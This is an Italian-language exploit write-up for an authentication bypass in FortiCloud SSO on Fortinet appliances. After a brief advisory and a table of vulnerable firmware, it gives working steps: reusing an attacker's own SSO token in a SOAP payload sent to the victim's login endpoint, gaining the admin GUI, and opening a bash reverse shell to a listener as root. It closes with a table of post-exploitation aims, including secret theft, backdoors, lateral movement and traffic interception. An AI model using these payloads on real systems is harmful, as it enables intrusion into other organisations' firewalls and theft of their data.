
CVE-2026-24858 FortiCloud Single Sign On (SSO) — una funzionalità abilitata per impostazione predefinita in fabbrica una volta registrati FortiGate/FortiManager/FortiAnalyzer — contiene una vulnerabilità critica di bypass dell'autenticazione.
FortiCloud Single-Sign-On (SSO), una funzionalità abilitata di default in fabbrica una volta registrato qualsiasi FortiGate/FortiManager/FortiAnalyzer, contiene una vulnerabilità critica di bypass dell'autenticazione.
Un attaccante che possiede un qualsiasi account FortiCloud (gratuito o a pagamento) può riutilizzare il proprio token SSO per accedere agli apparati di altri clienti (≤ build elencate di seguito) senza conoscerne le password.
La post-esplorazione garantisce pieno accesso admin alla GUI e shell root, consentendo l'intercettazione del traffico, la manomissione della VPN o il movimento laterale nelle reti interne.
Aggiornare immediatamente o disabilitare FortiCloud SSO fino alla correzione.
| Prodotto | Firmware vulnerabile | Corretto |
|---|
| FortiOS | 7.0.0–7.0.18, 7.2.0–7.2.12, 7.4.0–7.4.10, 7.6.0–7.6.5 | ≥ 7.0.19, ≥ 7.2.13, ≥ 7.4.11, ≥ 7.6.6 |
| FortiManager | 7.0.0–7.0.10, 7.2.0–7.2.5, 7.4.0–7.4.9 | stessa major.minor+1 |
| FortiAnalyzer | stessi intervalli | stessa |
Macchina dell'attaccante
Listener per la reverse shell:
nc -lvnp 4444
Ottenere il token dell'attaccante (TTL 15 min)
curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"[email protected]","password":"AttackerPass123"}'
Risposta (estratto):
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
Copiare il valore di access_token.
Costruire il payload di bypass
Salvare come bypass.xml:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<authRequest>
<serialNumber>FGT80ETK21000000</serialNumber>
<token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
<action>login</action>
</authRequest>
</soapenv:Body>
</soapenv:Envelope>
Inviare alla vittima (qualsiasi firmware ≤ tabella sopra)
curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
-H "Content-Type: application/xml" \
--data @bypass.xml \
-c cookies.txt
HTTP 200 + Set-Cookie: APSCOOKIE=... → successo.
Navigare nella GUI admin
Aprire il browser o usare curl con il cookie salvato:
curl -k -b cookies.txt https://<VICTIM-IP>/ng/
→ Appare la Dashboard, nessuna password richiesta.
Shell root (widget CLI)
Nella GUI: Dashboard → CLI Console
execute bash
bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
Il listener riceve:
root@FGT80ETK21000000:/#
| Scenario | Risultato |
|---|---|
| Admin sola lettura | Esportare l'intera configurazione (segreti VPN, policy local-in, hash utenti). |
| Admin scrittura | Modificare le regole firewall, creare utenti locali, disabilitare il logging, impiantare script persistenti. |
| Shell root | Estrarre config.dat, recuperare le chiavi HA, pivot verso sottoreti interne, impiantare servizio backdoor. |
| Movimento laterale | Il dispositivo diventa punto d'appoggio; VLAN e tunnel SSL-VPN considerati affidabili → violazione più profonda della rete. |
| Esfiltrazione dati | Tutto il traffico passa attraverso il FortiGate → proxy trasparente + iniezione di certificati. |